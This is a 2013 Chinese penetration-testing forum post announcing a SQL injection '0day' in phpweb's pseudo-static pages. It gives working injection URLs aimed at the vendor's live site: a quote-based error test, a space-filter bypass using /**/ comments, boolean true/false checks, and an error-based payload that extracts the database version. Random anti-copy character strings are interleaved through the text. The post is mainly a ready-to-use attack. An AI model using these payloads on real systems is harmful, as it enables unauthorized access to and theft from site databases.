中国网络渗透测试联盟

标题: phpweb伪静态页面注入0day [打印本页]

---

作者: admin    时间: 2013-1-4 19:46
标题: phpweb伪静态页面注入0day
phpweb所有的整站程序伪静态页面都存在sql注入

# n$ d# P8 y  T& `9 c" k主站：http://phpweb.net/
加’检测：

. I, p" ?) V# _& [6 ~2 f: h5 qhttp://www.phpweb.net/down/html/?772′.html

出错
存在注入。
  D/ F9 Z7 s2 |  ?" Q- a* ]8 Y不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
9 Q/ `- ^* Z% i
; i9 x$ E4 t+ {* x1 V' X: T* f/ {/ [http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
% A4 [) |  g6 ]. h( D' Q& W/ U7 A3 ~9 N
' D  W, M$ Q. q+ G3 p2 y* \?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
2 `) D" h) I3 ]" [: c' R1 J0 m% B

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2